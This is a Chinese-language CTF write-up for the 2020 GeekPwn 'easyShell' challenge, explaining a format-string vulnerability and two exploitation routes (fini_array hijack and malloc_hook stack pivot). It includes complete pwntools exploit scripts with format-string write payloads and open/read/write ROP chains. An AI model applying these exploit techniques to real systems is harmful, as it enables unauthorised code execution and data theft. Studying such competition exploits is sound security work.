2020-GeekPwn-easyShell

1.查看文件

GOT表可劫持,PIE和canary保护都没开启
看起来是orw来getshell

这题只是普通的pwn题,并没有逃逸的部分,接下来childshell就有了

2.IDA分析

这是个没有符号的二进制文件,我们通过sig文件恢复了一部分,手动恢复一部分,基本可以了解主函数逻辑了:

大概就是一个格式化字符串的漏洞,只能orw来获得flag # 3.思路

3.1 思路一(来自队里的Ama2in9师傅)

劫持 fini_arr[2] 为call_fini+leave_ret_addr,在调用的时候观察一下栈迁移的rbp,记一下,回过头在第一次格式化字符串漏洞的时候把这里部署上 p_rdi+new_addr+gets ,在gets调用结束还有一次 leave;ret 调用,此时再记一下对应的迁移rbp,回过头补上那个new_addr,这样构造出两段rop(因为第一段到后面发现部分rop chain写不进去),最后orw read flag

3.2 思路二(Nu1L队的解题思路)

Nu1L队师傅们的思路还是很巧妙的,通过劫持malloc_hook来执行gadget,提前在附近位置布置其它的gadgets,使得通过该位置的gadget调用readinfo函数读取新的一堆gadget到指定位置,接下来再执行这一堆gadgets目标是执行read的系统调用,最后读入这段orw的gadgets,执行达到get flag的目的。

我们先看看通过printf是怎么调用malloc_hook的,大体是这样:IO_vfprintf_internal->printf_positional->_libc_malloc->malloc_hook
首先:printfFunc函数中调用子函数IO_fprintf_internal

**其次:IO_fprintf_internal中调用printf_positional**:
**最后:printf_positional中调用_libc_malloc**:
**在_libc_malloc中自然会有查看hook不为空就调用的操作**:
这条指令就进入了调用链中:

3.3 收获

1.这个题有个关键点就是一条汇编指令:如何将bss也就是malloc_hook附近的地址赋值给esp:
0x0000000000422924: xchg edi, esp; add al, 0; add dh, dh; ret;
这条指令会调换edi和esp的内容,我们看到edi就是我们想改esp的值,所以这个指令就办到了。


2.学到了格式化字符串的利用小工具

a = Payload(10,addon=('%' + str(0x6ED798) + 'x').ljust(0x10,'a')) 
a.add_write_chunk(0x0000000000422924,0x6ed7a8,4)
a.add_write_chunk(0x000000000040b74a,0x6ed7b8,4)
a.add_write_chunk(0x6ed7d0,0x6ed7c0,4)
a.add_write_chunk(read_addr,0x6ed7d0,4)
payload = a.get_payload()

4.exp

4.1 思路一(未实践,本地不通)

#coding=utf-8

from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')

# context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    p = process('./pwn')
else:
    p = remote('183.60.136.226',11397)

tls = 0x6f0430
fini_arr = 0x6d6828
call_fini = 0x40aba0
main_addr = 0x0000000000400c6c
rbp = 0x6ed0c0
gets = 0x400dc0
p_rdi_1 = 0x000000000040b74a
p_rdi = 0x0000000000401f0a
p_rsi = 0x00000000004014a4
p_rdx_rsi = 0x000000000044c499
p_rax_rdx_r = 0x0000000000482286
syscall = 0x0000000000471115
leave = 0x0000000000400c6c

def exp():
    #leak libc
    p.recvuntil("Input your message,it will echo back.")
    target = rbp+0x10
    payload = "%"+str((call_fini)&0xffff)+"c%23$hn"
    payload += "%"+str(0xffff&(main_addr&0xffff)-(call_fini&0xffff))+"c%24$hn"
    payload += "%"+str((p_rdi-main_addr)&0xffff)+"c%25$hn"
    payload += "%"+str(((p_rdi>>16)-(p_rdi&0xffff))&0xffff)+"c%26$hn"
    payload += "%"+str(((target&0xffff)-(p_rdi>>16))&0xffff)+"c%27$hn"
    payload += "%"+str(((target>>16)-(target&0xffff))&0xffff)+"c%28$hn"
    payload += "%"+str(((gets&0xffff)-(target>>16))&0xffff)+"c%29$hn"
    payload += "%"+str(((gets>>16)-(gets&0xffff))&0xffff)+"c%30$hn"
    payload = payload.ljust(0x78,'a')
    payload += p64(fini_arr)+p64(fini_arr+8)+p64(rbp+0x8)+p64(rbp+0xa)+p64(rbp+0x10)+p64(rbp+0x12)+p64(rbp+0x18)+p64(rbp+0x1a)

    p.sendline(payload)
    raw_input()
    flag_addr = 0x6ed0d0
    #gdb.attach(p,'b* 0x0000000000400c6c')
    rops = flat([
        p_rdi_1,flag_addr,0,
        p_rsi,0,
        p_rax_rdx_r,2,0,0,syscall,
        p_rdi_1,0,0,
        p_rsi,0x6ed178,
        p_rax_rdx_r,0,0xf0,0,syscall,
        ])

    payload = "./flag\x00\x00"+rops
    p.sendline(payload)
    raw_input()
    rops = flat([
        p_rdi_1,5,0,
        p_rsi,flag_addr+0x20,
        p_rax_rdx_r,0,0x60,0,syscall,
        p_rdi_1,1,0,
        p_rsi,flag_addr,
        p_rax_rdx_r,1,0x60,0,syscall,
        ])
    p.sendline(rops)
    p.interactive()
exp()

4.2 思路二

#coding=utf-8
from pwn import *
from fmt_attack import Payload

p = process('./pwn')
context.log_level = 'debug'

read_addr = 0x400bce # 读0xc0个字符功能的函数
malloc_hook = 0x6ed7a8
# 0x0000000000471115: syscall; ret; 
# 0x0000000000400c6c: leave; ret;
# 0x0000000000422924: xchg edi, esp; add al, 0; add dh, dh; ret;
# 0x000000000042142b: pop rcx; ret;
# 0x000000000044b3a2: pop rdi; jmp rax;
# 0x0000000000482286: pop rax; pop rdx; pop rbx; ret; 
# 0x0000000000401f08: pop rsi; pop r15; ret; 
# 0x000000000042830b: pop rsp; jmp rax;
# 0x00000000004014a4: pop rsi; ret;
# 0x000000000040b74a: pop rdi; pop rbp; ret; 
# 0x00000000004005b5: pop rsp; ret; 


a = Payload(10,addon=('%' + str(0x6ED798) + 'x').ljust(0x10,'a')) 
a.add_write_chunk(0x0000000000422924,0x6ed7a8,4)
a.add_write_chunk(0x000000000040b74a,0x6ed7b8,4)
a.add_write_chunk(0x6ed7d0,0x6ed7c0,4)
a.add_write_chunk(read_addr,0x6ed7d0,4)
payload = a.get_payload()
gdb.attach(p)
p.sendline(payload.ljust(0xc0,"\x00"))

# read func
payload1 = "flag".ljust(8,"\x00")  # 0x6ed7d0
payload1+= p64(0x0000000000482286) + p64(0) + p64(0x400) + p64(0) # pop rax; pop rdx; pop rbx; ret; 
payload1+= p64(0x000000000040b74a) + p64(0)*2 # pop rdi; pop rbp; ret; 
payload1+= p64(0x00000000004014a4) + p64(0x6ed900) # pop rsi; ret;
payload1+= p64(0x0000000000471115) # syscall ret
payload1+= p64(0x00000000004005b5) + p64(0x6ed900) # pop rsp; ret;
p.sendline(payload1.ljust(0xc0,"\x00"))

# ------------ ORW ---------------
# open
payload2 = p64(0x0000000000482286) + p64(2) + p64(0) + p64(0) # pop rax; pop rdx; pop rbx; ret; 
payload2+= p64(0x000000000040b74a) + p64(0x6ed7d0)+p64(0) # pop rdi; pop rbp; ret; 
payload2+= p64(0x00000000004014a4) + p64(0) # pop rsi; ret; 
payload2+= p64(0x0000000000471115) # syscall ret
# read
payload2+= p64(0x0000000000482286) + p64(0) + p64(0x20) + p64(0) # pop rax; pop rdx; pop rbx; ret; 
payload2+= p64(0x000000000040b74a) + p64(3)+p64(0) # pop rdi; pop rbp; ret; 
payload2+= p64(0x00000000004014a4) + p64(0x6ed7a0) # pop rsi; ret; 
payload2+= p64(0x0000000000471115) # syscall ret
# write
payload2+= p64(0x0000000000482286) + p64(1) + p64(0x20) + p64(0) # pop rax; pop rdx; pop rbx; ret; 
payload2+= p64(0x000000000040b74a) + p64(1)+p64(0) # pop rdi; pop rbp; ret; 
payload2+= p64(0x00000000004014a4) + p64(0x6ed7a0) # pop rsi; ret; 
payload2+= p64(0x0000000000471115) # syscall ret
p.sendline(payload2.ljust(0x400,"\x00"))
p.interactive()

  Reprint policy: xiaoxin 2020-GeekPwn-easyShell

 Previous
2020-GeekPwn-ChildShell 2020-GeekPwn-ChildShell
1.查看文件 这是一个需要chroot沙箱逃逸的题目 # 2.IDA分析 多了一个chroot操作,将我们的根目录置为sandbox,而flag在外面。其它的程序逻辑和之前的easyshell相同。 # 3.思路 劫持malloc_ho
2020-08-06
Next 
2020-GeekPwn-paperPrinter 2020-GeekPwn-paperPrinter
0x01 查看文件 保护全开 # 0x02 IDA分析 随机化开辟一块地址: 这道题的整体思路有点像,同样的可以无限的编辑溢出,但是区别是这里只有两次malloc的机会。两次malloc第一次是可以malloc,第二次是再exitFunc
2020-08-06
  TOC